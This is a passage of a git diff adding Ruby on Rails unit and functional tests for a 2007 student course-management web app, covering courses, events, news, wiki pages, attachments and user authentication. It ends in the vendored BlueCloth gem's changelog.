+# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'attachments_controller' + +# Re-raise errors caught by the controller. +class AttachmentsController; def rescue_action(e) raise e end; end + +class AttachmentsControllerTest < Test::Unit::TestCase + fixtures :attachments + + def setup + @controller = AttachmentsController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + end + + def test_truth + assert true + end + +# +# def test_index +# get :index +# assert_response :success +# assert_template 'list' +# end +# +# def test_list +# get :list +# +# assert_response :success +# assert_template 'list' +# +# assert_not_nil assigns(:attachments) +# end +# +# def test_show +# get :show, :id => @first_id +# +# assert_response :success +# assert_template 'show' +# +# assert_not_nil assigns(:attachment) +# assert assigns(:attachment).valid? +# end +# +# def test_new +# get :new +# +# assert_response :success +# assert_template 'new' +# +# assert_not_nil assigns(:attachment) +# end +# +# def test_create +# num_attachments = Attachment.count +# +# post :create, :attachment => {} +# +# assert_response :redirect +# assert_redirected_to :action => 'list' +# +# assert_equal num_attachments + 1, Attachment.count +# end +# +# def test_edit +# get :edit, :id => @first_id +# +# assert_response :success +# assert_template 'edit' +# +# assert_not_nil assigns(:attachment) +# assert assigns(:attachment).valid? +# end +# +# def test_update +# post :update, :id => @first_id +# assert_response :redirect +# assert_redirected_to :action => 'show', :id => @first_id +# end +# +# def test_destroy +# assert_nothing_raised { +# Attachment.find(@first_id) +# } +# +# post :destroy, :id => @first_id +# assert_response :redirect +# assert_redirected_to :action => 'list' +# +# assert_raise(ActiveRecord::RecordNotFound) { +# Attachment.find(@first_id) +# } +# end +end diff --git a/test/functional/courses_controller_test.rb b/test/functional/courses_controller_test.rb new file mode 100644 index 0000000..cf9264f --- /dev/null +++ b/test/functional/courses_controller_test.rb @@ -0,0 +1,50 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'courses_controller' + +# Re-raise errors caught by the controller. +class CoursesController; def rescue_action(e) raise e end; end + +class CoursesControllerTest < Test::Unit::TestCase + + def setup + @controller = CoursesController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @course = Course.find(:first) + end + + # REST - usuários autenticados + context "A user" do + setup { login_as :bob } + should_be_restful do |resource| + resource.create.params = { :short_name => 'test', :full_name => 'test', :description => 'test' } + resource.update.params = { :short_name => 'test', :full_name => 'test', :description => 'test' } + end + end + + # REST - usuários quaisquer + context "A stranger" do + setup { logout } + should_be_restful do |resource| + resource.create.params = { :short_name => 'test', :full_name => 'test', :description => 'test' } + resource.update.params = { :short_name => 'test', :full_name => 'test', :description => 'test' } + resource.denied.actions = [ :new, :edit, :create, :update, :destroy ] + resource.denied.redirect = "'/login'" + resource.denied.flash = /must be logged in/i + end + end + +end diff --git a/test/functional/events_controller_test.rb b/test/functional/events_controller_test.rb new file mode 100644 index 0000000..5224c1e --- /dev/null +++ b/test/functional/events_controller_test.rb @@ -0,0 +1,58 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'events_controller' + +# Re-raise errors caught by the controller. +class EventsController; def rescue_action(e) raise e end; end + +class EventsControllerTest < Test::Unit::TestCase + + def setup + @controller = EventsController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @course = Course.find(:first) + @event = @course.events.find(:first) + end + + # REST - usuários autenticados + context "A user" do + setup { login_as :bob } + should_be_restful do |resource| + resource.parent = [ :course ] + resource.create.params = { :title => 'test', :date => Date.today, :time => Time.now, :description => 'test', :created_by => 1 } + resource.update.params = { :title => 'test', :date => Date.today, :time => Time.now, :description => 'test', :created_by => 1 } + + end + end + + # REST - usuários quaisquer + context "A stranger" do + setup { logout } + should_be_restful do |resource| + resource.parent = [ :course ] + resource.create.params = { :title => 'test', :date => Date.today, :time => Time.now, :description => 'test', :created_by => 1 } + resource.update.params = { :title => 'test', :date => Date.today, :time => Time.now, :description => 'test', :created_by => 1 } + resource.denied.actions = [ :new, :edit, :create, :update, :destroy ] + resource.denied.redirect = "'/login'" + resource.denied.flash = /must be logged in/i + end + end + + def test_should_accept_icalendar_on_index + get :index, :format => 'ics', :course_id => 1 + assert_formatted_response :ics + end +end diff --git a/test/functional/log_controller_test.rb b/test/functional/log_controller_test.rb new file mode 100644 index 0000000..fec9bd0 --- /dev/null +++ b/test/functional/log_controller_test.rb @@ -0,0 +1,8 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class LogControllerTest < ActionController::TestCase + # Replace this with your real tests. + def test_truth + assert true + end +end diff --git a/test/functional/news_controller_test.rb b/test/functional/news_controller_test.rb new file mode 100644 index 0000000..31e4137 --- /dev/null +++ b/test/functional/news_controller_test.rb @@ -0,0 +1,49 @@ +require File.dirname(__FILE__) + '/../test_helper' +require 'news_controller' + +# Re-raise errors caught by the controller. +class NewsController; def rescue_action(e) raise e end; end + +class NewsControllerTest < Test::Unit::TestCase + def setup + @controller = NewsController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + + @course = Course.find(:first) + @news = @course.news.find(:first) + end + + # REST - usuários autenticados + context "A user" do + setup { login_as :bob } + should_be_restful do |resource| + resource.klass = News + resource.object = 'news' + resource.parent = [ :course ] + resource.create.params = { :title => 'test', :body => 'test', :receiver_id => 1 } + resource.update.params = { :title => 'test', :body => 'test', :receiver_id => 1 } + resource.destroy.redirect = "course_news_index_url(@course)" + end + end + + # REST - usuários quaisquer + context "A stranger" do + setup { logout } + should_be_restful do |resource| + resource.klass = News + resource.object = 'news' + resource.parent = [ :course ] + resource.create.params = { :title => 'test', :body => 'test', :receiver_id => 1 } + resource.update.params = { :title => 'test', :body => 'test', :receiver_id => 1 } + resource.denied.actions = [ :new, :edit, :create, :update, :destroy ] + resource.denied.redirect = "'/login'" + resource.denied.flash = /must be logged in/i + end + end + + def test_should_accept_rss_on_index + get :index, :format => 'rss', :course_id => 1 + assert_formatted_response :rss + end +end diff --git a/test/functional/stylesheets_controller_test.rb b/test/functional/stylesheets_controller_test.rb new file mode 100644 index 0000000..4dd41c3 --- /dev/null +++ b/test/functional/stylesheets_controller_test.rb @@ -0,0 +1,33 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'stylesheets_controller' + +# Re-raise errors caught by the controller. +class StylesheetsController; def rescue_action(e) raise e end; end + +class StylesheetsControllerTest < Test::Unit::TestCase + + def setup + @controller = StylesheetsController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + end + + # Replace this with your real tests. + def test_truth + assert true + end + +end diff --git a/test/functional/user_controller_test.rb b/test/functional/user_controller_test.rb new file mode 100644 index 0000000..421f4da --- /dev/null +++ b/test/functional/user_controller_test.rb @@ -0,0 +1,30 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'users_controller' + +# Re-raise errors caught by the controller. +class UsersController; def rescue_action(e) raise e end; end + +class UsersControllerTest < Test::Unit::TestCase + + self.use_instantiated_fixtures = true + + fixtures :users + + def test_true + assert true + end + +end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb new file mode 100644 index 0000000..e8ccb24 --- /dev/null +++ b/test/functional/wiki_controller_test.rb @@ -0,0 +1,76 @@ + +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' + +# Re-raise errors caught by the controller. +class WikiController; def rescue_action(e) raise e end; end + +class WikiControllerTest < Test::Unit::TestCase + def setup + @controller = WikiController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @course = Course.find(:first) + @wiki_page = @course.wiki_pages.create(:title => 'test1', :content => 'test1', :description => 'test', :version => 1) + @wiki_page.user = users(:bob) + @wiki_page.save! + end + + # REST - usuários autenticados + context "A user" do + setup { login_as :bob } + should_be_restful do |resource| + resource.klass = WikiPage + resource.parent = [ :course ] + resource.create.params = { :title => 'test2', :description => 'test', :content => 'test2', :course_id => 1 } + resource.update.params = { :title => 'test3', :description => 'test', :content => 'test3', :course_id => 1 } + resource.actions = [ :show, :new, :edit, :update, :create, :destroy ] + resource.destroy.redirect = "course_url(@course)" + resource.create.redirect = "course_wiki_url(@course, @wiki_page)" + resource.update.redirect = "course_wiki_url(@course, @wiki_page)" + end + end + + # REST - usuários quaisquer + context "A stranger" do + setup { logout } + should_be_restful do |resource| + resource.klass = WikiPage + resource.parent = [ :course ] + resource.create.params = { :title => 'test4', :description => 'test', :content => 'test4', :course_id => 1 } + resource.update.params = { :title => 'test5', :description => 'test', :content => 'test5', :course_id => 1 } + resource.actions = [ :show, :new, :edit, :update, :create, :destroy ] + resource.denied.actions = [ :new, :edit, :create, :update, :destroy ] + resource.denied.redirect = "'/login'" + resource.denied.flash = /must be logged in/i + end + end + + def test_should_accept_text_on_show + get :show, :format => 'txt', :course_id => 1, :id => @wiki_page.id + assert_formatted_response :text + end + + def test_should_accept_html_on_versions + get :versions, :course_id => 1, :id => @wiki_page.id + assert_response :success + end + + def test_should_accept_xml_on_versions + get :versions, :format => 'xml', :course_id => 1, :id => @wiki_page.id + assert_formatted_response :xml, :versions + end +end diff --git a/test/test_helper.rb b/test/test_helper.rb new file mode 100644 index 0000000..becc749 --- /dev/null +++ b/test/test_helper.rb @@ -0,0 +1,71 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path(File.dirname(__FILE__) + "/../config/environment") +require 'test_help' +require 'redgreen' +require 'quietbacktrace' + +class Test::Unit::TestCase + + self.new_backtrace_silencer :shoulda do |line| + line.include? 'vendor/plugins/shoulda' + end + self.backtrace_silencers << :shoulda + + # Transactional fixtures accelerate your tests by wrapping each test method + # in a transaction that's rolled back on completion. This ensures that the + # test database remains unchanged so your fixtures don't have to be reloaded + # between every test method. Fewer database queries means faster tests. + # + # Read Mike Clark's excellent walkthrough at + # http://clarkware.com/cgi/blosxom/2005/10/24#Rails10FastTesting + # + # Every Active Record database supports transactions except MyISAM tables + # in MySQL. Turn off transactional fixtures in this case; however, if you + # don't care one way or the other, switching from MyISAM to InnoDB tables + # is recommended. + # + # The only drawback to using transactional fixtures is when you actually + # need to test transactions. Since your test is bracketed by a transaction, + # any transactions started in your code will be automatically rolled back. + self.use_transactional_fixtures = true + + # Instantiated fixtures are slow, but give you @david where otherwise you + # would need people(:david). If you don't want to migrate your existing + # test cases which use the @david style and don't mind the speed hit (each + # instantiated fixtures translates to a database query per test method), + # then set this back to true. + self.use_instantiated_fixtures = false + + # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. + # + # Note: You'll currently still have to declare fixtures explicitly in integration tests + # -- they do not yet inherit this setting + fixtures :all + + # Add more helper methods to be used by all tests here... + def login_as(user) + @request.session[:user_id] = users(user).id + @request.env["HTTP_AUTHORIZATION"] = user ? "Basic #{Base64.encode64("#{users(user).login}:test")}" : nil + end + + def logout + @request.session[:user_id] = nil + @request.env["HTTP_AUTHORIZATION"] = nil + end + + def assert_formatted_response(type, element=nil) + assert_response :success + snippet = "Body: #{@response.body.first(100).chomp}..." + case type + when :rss + assert_equal Mime::RSS, @response.content_type, snippet + assert_select "channel", 1, snippet + when :ics + assert_equal Mime::ICS, @response.content_type, snippet + when :text + assert_equal Mime::TEXT, @response.content_type, snippet + when :xml + assert_select element.to_s.dasherize, 1, snippet + end + end +end diff --git a/test/unit/attachment_test.rb b/test/unit/attachment_test.rb new file mode 100644 index 0000000..ab763fa --- /dev/null +++ b/test/unit/attachment_test.rb @@ -0,0 +1,51 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class AttachmentTest < Test::Unit::TestCase + fixtures :attachments + + def setup + # Cria um pseudo-arquivo, com conteudo qualquer + @test_file = StringIO.new + @test_file.puts("temp" * 10) + @test_file.rewind + end + + def test_create_and_destroy_attachment + # Cria o anexo + att = Attachment.new(:file_name => 'test_file', :content_type => 'text/plain', + :description => 'A test file', :course_id => 1) + att.file = @test_file + + # Verifica gravacao no bando de dados + assert att.save + + # Verifica se o arquivo foi criado no sistema de arquivos + file_path = "#{RAILS_ROOT}/public/upload/1/#{att.id}" + assert_equal @test_file.size, att.size + assert File.exists?(file_path) + + # Verifica se o conteudo do arquivo gerado eh igual ao conteudo do + # arquivo original + @test_file.rewind + assert_equal @test_file.read, File.open(file_path, "r").read + + # Deleta o anexo + #att.destroy + + # Verifica se o arquivo foi excluido + #assert !File.exists?(file_path) + end +end diff --git a/test/unit/course_test.rb b/test/unit/course_test.rb new file mode 100644 index 0000000..efba305 --- /dev/null +++ b/test/unit/course_test.rb @@ -0,0 +1,114 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class CourseTest < Test::Unit::TestCase + + fixtures :courses + + def test_crud + # Create + old_count = Course.count + + c = Course.new + c.short_name = 'teste' + c.full_name = 'teste' + c.description = 'teste' + + assert c.save + assert_equal old_count + 1, Course.count + + # Retrieve + c2 = Course.find(c.id) + assert_equal c2.description, c.description + assert_equal c2.full_name, c.full_name + assert_equal c2.short_name, c.short_name + + # Update + assert c.update_attributes(:short_name => 'teste29') + assert_equal c.short_name, 'teste2' + + # Delete + id = c.id + assert c.destroy + assert_raises(ActiveRecord::RecordNotFound) { Course.find(id) } + assert_equal old_count, Course.count + end + + + def test_validates_presence + required_fields = [:short_name, :full_name, :description] + required_fields.each do |attr| + c = courses(:course_1).clone + c.short_name = 'new_test' + c.send("#{attr}=", "") + + assert !c.valid?, attr + assert_equal 1, c.errors.count, attr + assert_not_nil c.errors[attr], attr + end + end + + + def test_validates_uniqueness_of_short_name + c = courses(:course_1).clone + assert !c.save + assert_not_nil c.errors[:short_name] + end + + + def test_associations + associations = [:attachments, :wiki_pages, :shoutbox_messages, :news, :events] + c = courses(:course_1) + associations.each do |a| + assert_nothing_raised { + c.send("#{a}").find(:all) + } + end + end + + + def test_orphaned_records + # Escolhe um curso qualquer + course = courses(:course_1) + + # Cria alguns objetos associados ao curso + attachment = Attachment.create(:file_name => 'test', :content_type => 'text/plain', + :last_modified => Time.now, :description => 'test', :size => 1.megabyte, + :course_id => course.id) + + wiki_page = WikiPage.create(:title => 'teste', :course_id => course.id) + + shoutbox_message = Message.create(:title => 'test', :body => 'test body', + :timestamp => Time.now, :type => "CourseShoutboxMessage", + :sender_id => 0, :receiver_id => course.id) + + news_message = Message.create(:title => 'test', :body => 'test body', + :timestamp => Time.now, :type => "News", + :sender_id => 0, :receiver_id => course.id) + + event = Event.create(:title => 'test', :date => Time.now, :time => Time.now, + :created_by => 0, :course_id => course.id, :description => 'test') + + # Deleta o curso + course.destroy + + # Ve o que aconteceu com os objetos + assert_raises(ActiveRecord::RecordNotFound) { Attachment.find(attachment.id) } + assert_raises(ActiveRecord::RecordNotFound) { WikiPage.find(wiki_page.id) } + assert_raises(ActiveRecord::RecordNotFound) { CourseShoutboxMessage.find(shoutbox_message.id) } + assert_raises(ActiveRecord::RecordNotFound) { News.find(news_message.id) } + assert_raises(ActiveRecord::RecordNotFound) { Event.find(event.id) } + end +end diff --git a/test/unit/event_test.rb b/test/unit/event_test.rb new file mode 100644 index 0000000..89c4b9f --- /dev/null +++ b/test/unit/event_test.rb @@ -0,0 +1,23 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class EventTest < Test::Unit::TestCase + fixtures :events + + # Replace this with your real tests. + def test_truth + assert true + end +end diff --git a/test/unit/log_entry_test.rb b/test/unit/log_entry_test.rb new file mode 100644 index 0000000..c86cb8b --- /dev/null +++ b/test/unit/log_entry_test.rb @@ -0,0 +1,8 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class LogEntryTest < ActiveSupport::TestCase + # Replace this with your real tests. + def test_truth + assert true + end +end diff --git a/test/unit/message_test.rb b/test/unit/message_test.rb new file mode 100644 index 0000000..3480387 --- /dev/null +++ b/test/unit/message_test.rb @@ -0,0 +1,23 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class MessageTest < Test::Unit::TestCase + fixtures :messages + + # Replace this with your real tests. + def test_truth + assert true + end +end diff --git a/test/unit/notifications_test.rb b/test/unit/notifications_test.rb new file mode 100644 index 0000000..1e307bd --- /dev/null +++ b/test/unit/notifications_test.rb @@ -0,0 +1,48 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class NotificationsTest < Test::Unit::TestCase + FIXTURES_PATH = File.dirname(__FILE__) + '/../fixtures' + CHARSET = "utf-8" + + include ActionMailer::Quoting + + def setup + ActionMailer::Base.delivery_method = :test + ActionMailer::Base.perform_deliveries = true + ActionMailer::Base.deliveries = [] + + @expected = TMail::Mail.new + @expected.set_content_type "text", "plain", { "charset" => CHARSET } + @expected.mime_version = '1.0' + end + + def test_forgot_password + @expected.subject = 'Notifications#forgot_password' + @expected.body = read_fixture('forgot_password') + @expected.date = Time.now + + #assert_equal @expected.encoded, Notifications.create_forgot_password(@expected.date).encoded + end + + private + def read_fixture(action) + IO.readlines("#{FIXTURES_PATH}/notifications/#{action}") + end + + def encode(subject) + quoted_printable(subject, CHARSET) + end +end diff --git a/test/unit/user_test.rb b/test/unit/user_test.rb new file mode 100644 index 0000000..257030c --- /dev/null +++ b/test/unit/user_test.rb @@ -0,0 +1,234 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class UserTest < Test::Unit::TestCase + + fixtures :users + + def test_login + assert_equal users(:bob), User.find_by_login_and_pass("bob", "test") + assert_nil User.find_by_login_and_pass("wrong_bob", "test") + assert_nil User.find_by_login_and_pass("bob", "wrongpass") + assert_nil User.find_by_login_and_pass("wrong_bob", "wrongpass") + end + + + def test_change_password + user = users(:longbob) + + # Check success + assert_equal user, User.find_by_login_and_pass("longbob", "longtest") + + # Change password + user.password = user.password_confirmation = "nonbobpasswd" + assert user.save, user.errors.full_messages + + # New password works + assert_equal user, User.find_by_login_and_pass("longbob", "nonbobpasswd") + + # Old pasword doesn't work anymore + assert_nil User.find_by_login_and_pass("longbob", "longtest") + + # Change back again + user.password = user.password_confirmation = "longtest" + + assert user.save + assert_equal user, User.find_by_login_and_pass("longbob", "longtest") + assert_nil User.find_by_login_and_pass("longbob", "nonbobpasswd") + end + + + def test_keep_old_password + # Dont change the password + user = users(:longbob) + user.name = "brand new bob" + + assert user.save + assert_equal user, User.find_by_login_and_pass("longbob", "longtest") + assert_nil User.find_by_login_and_pass("longbob", "") + + # Set a blank password + user.password = user.password_confirmation = "" + + assert user.save + assert_equal user, User.find_by_login_and_pass("longbob", "longtest") + assert_nil User.find_by_login_and_pass("longbob", "") + end + + + def test_validate_password_confirmation + u = users(:longbob) + + # No confirmation + u.password = "hello" + assert !u.valid? + assert u.errors.invalid?('password_confirmation') + + # Wrong confirmation + u.password_confirmation = "wrong hello" + assert !u.valid? + assert u.errors.invalid?('password_confirmation') + + # Valid confirmation + u.password = u.password_confirmation = "hello world" + assert u.valid? + end + + + def test_validate_password + u = users(:bob) + u.login = "anotherbob" + u.email = "anotherbob@bob.com" + + # Too short + u.password = u.password_confirmation = "tiny" + assert !u.valid? + assert u.errors.invalid?('password') + + # Too long + u.password = u.password_confirmation = "huge" * 50 + assert !u.valid? + assert u.errors.invalid?('password') + + # Empty + newbob = User.new(:login => 'newbob', :email => 'bob@bob.com', :name => 'bob') + newbob.password = newbob.password_confirmation = "" + assert !newbob.valid? + assert newbob.errors.invalid?('password') + + # OK + u.password = u.password_confirmation = "bobs_secure_password" + assert u.save, u.errors.full_messages + assert u.errors.empty? + end + + + def test_validate_login + u = users(:bob) + u.password = u.password_confirmation = "bobs_secure_password" + u.email = "okbob@mcbob.com" + + # Too short + u.login = "x" + assert !u.valid? + assert u.errors.invalid?('login') + assert_equal 1, u.errors.count, u.errors.full_messages + + # Too long + u.login = "hugebob" * 50 + assert !u.valid? + assert u.errors.invalid?('login') + assert_equal 1, u.errors.count, u.errors.full_messages + + # Empty + u.login = "" + assert !u.valid? + assert u.errors.invalid?('login') + assert_equal 2, u.errors.count, u.errors.full_messages + + # OK + u.login = "okbob" + assert u.valid? + assert u.errors.empty? + end + + + def test_validate_email + u = users(:longbob) + + # No email + u.email = nil + assert !u.valid? + assert u.errors.invalid?('email') + assert_equal 2, u.errors.count, u.errors.full_messages + + # Invalid email + u.email='notavalidemail' + assert !u.valid? + assert u.errors.invalid?('email') + assert_equal 1, u.errors.count, u.errors.full_messages + + # OK + u.email="validbob@mcbob.com" + assert u.valid? + assert u.errors.empty? + end + + def test_signup + u = User.new + u.last_seen = Time.now + u.login = "new bob" + u.display_name = "new bob" + u.name = u.email = "new@email.com" + u.password = u.password_confirmation = "new password" + + assert u.save, u.errors.full_messages + assert_equal u, User.find_by_login_and_pass(u.login, u.password) + + assert_not_nil u.salt + assert_equal 10, u.salt.length + end + +# def test_send_new_password +# #check user find_by_login_and_passs +# assert_equal @bob, User.find_by_login_and_pass("bob", "test") +# +# #send new password +# sent = @bob.send_new_password +# assert_not_nil sent +# +# #old password no longer workd +# assert_nil User.find_by_login_and_pass("bob", "test") +# +# #email sent... +# assert_equal "Your password is ...", sent.subject +# +# #... to bob +# assert_equal @bob.email, sent.to[0] +# #assert_match Regexp.new("Your username is bob."), sent.body +# +# #can find_by_login_and_pass with the new password +# #new_pass = $1 if Regexp.new("Your new password is (\\w+).") =~ sent.body +# #assert_not_nil new_pass +# #assert_equal @bob, User.find_by_login_and_pass("bob", new_pass) +# end + + def test_generate_random_pass + new_pass = User.random_string(10) + assert_not_nil new_pass + assert_equal 10, new_pass.length + end + + + def test_sha1 + u = users(:bob) + u.password = u.password_confirmation = "bobs_secure_password" + + assert u.save + assert_equal 'b1d27036d59f9499d403f90e0bcf43281adaa844', u.hashed_password + assert_equal 'b1d27036d59f9499d403f90e0bcf43281adaa844', User.encrypt("bobs_secure_password", u.salt) + end + + + def test_protected_attributes + u = users(:bob) + u.update_attributes(:id => 999999, :salt => "I-want-to-set-my-salt", :login => "verybadbob") + + assert u.save + assert_not_equal 999999, u.id + assert_not_equal "I-want-to-set-my-salt", u.salt + assert_equal "verybadbob", u.login + end +end diff --git a/test/unit/wiki_page_test.rb b/test/unit/wiki_page_test.rb new file mode 100644 index 0000000..53e6a7e --- /dev/null +++ b/test/unit/wiki_page_test.rb @@ -0,0 +1,33 @@ +# Engenharia de Software 2007.1 +# Copyright (C) 2007, Adriano, Alinson, Andre, Rafael e Bustamante +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +require File.dirname(__FILE__) + '/../test_helper' + +class WikiPageTest < Test::Unit::TestCase + + def test_should_create_new_version_when_editing + wp = WikiPage.create(:content => 'test', :title => 'test', :version => 1, :course_id => 1) + assert !wp.save_version? + + wp.content = 'new content' + assert wp.save_version? + end + + def test_should_not_create_new_version_when_reordering + wp = WikiPage.create(:content => 'test', :title => 'test', :version => 1, :course_id => 1) + assert !wp.save_version? + + wp.move_higher + assert !wp.save_version? + end +end diff --git a/vendor/gems/BlueCloth-1.0.0/CHANGES b/vendor/gems/BlueCloth-1.0.0/CHANGES new file mode 100644 index 0000000..4b4050a --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/CHANGES @@ -0,0 +1,366 @@ +------------------------------------------------------------------------ +r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines + +- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug. + +------------------------------------------------------------------------ +r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines + +- Tracked down and fixed another regexp engine overflow bug; added a new test, + datafile, and minimal testcase that illustrates it. + +------------------------------------------------------------------------ +r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to 20040824. +------------------------------------------------------------------------ +r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines + +- Added CHANGES.xml to ignore property for root directory. + + +------------------------------------------------------------------------ +r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines + +- Brought list of block-level tags up to date with Markdown 1.0's list +- Propagated fix for overflow to the other two block-match patterns. +- Abstracted list-item patterns out into constants to closer match Markdown's + code and to expose them for use in other code. +- Fixed indentation of
     blocks inside blockquotes.
    +- Added new tests for all of the above.
    +
    +------------------------------------------------------------------------
    +r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
    +
    +- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
    +   for the fix).
